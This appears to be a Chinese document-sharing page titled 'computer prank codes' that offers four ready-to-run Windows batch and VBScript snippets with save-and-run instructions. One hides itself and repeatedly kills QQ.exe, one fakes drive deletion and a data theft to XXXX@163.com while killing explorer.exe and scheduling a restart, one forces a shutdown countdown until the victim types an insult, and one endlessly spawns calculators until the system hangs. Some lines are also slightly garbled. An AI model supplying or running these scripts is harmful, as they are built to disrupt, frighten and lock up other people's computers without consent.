电脑整人小代码

2022-07-12 06:11:12   文档大全网     [ 字体: ] [ 阅读: ]

#文档大全网# 导语】以下是®文档大全网的小编为您整理的《电脑整人小代码》,欢迎阅读!
整人,代码,电脑


@echo off

if "%1" == "h" goto begin

mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begin

tasklist |find /i "QQ.exe"

if %errorlevel%==0 (goto killit) else (goto next) :killit

taskkill /f /im QQ.exe :next

ping -n 3 127.t >nul 2>nul goto begin

——————————分割线————————

把以上代码保存成txt格式,然后把后缀改成bat,然后双击运行 嘿嘿,那你的qq就不能运行了哟

@ color 4f

@echo off

echo 删除计算机C盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机D盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机E盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕






@ color

echo.

echo. =========================================

echo. 啊哈哈,都删关,都杀关,哈哈 ……

echo. =========================================

echo. 系统将马上崩溃......

echo. 这是一个木马程序......您的所有资料已经传到 XXXX@163.com

shutdown /r /t 30 /c "电脑30s内即将崩溃,哈哈,你活该!"

ntsd -c q -pn explorer.exe

ping 127.0.0.1 /n 20 >nul

start explorer.exe

shutdown -a

____________________________分割线______________________

将分割线以上部分保存到txt格式,然后把后缀改成bat就可以运行了 运行后你的磁盘会被格式化 当然

那是假的。。用来吓人的。 希望你玩的愉快。

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")






WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"

--------------------------------------------------------------------------------

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 让对方说 我是猪

set wsh=createobject("wscript.shell") do

wsh.run "calc" loop

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 打开无数个计算器,直到死机




本文来源:https://www.wddqxz.cn/b455abe981c758f5f61f6786.html

相关推荐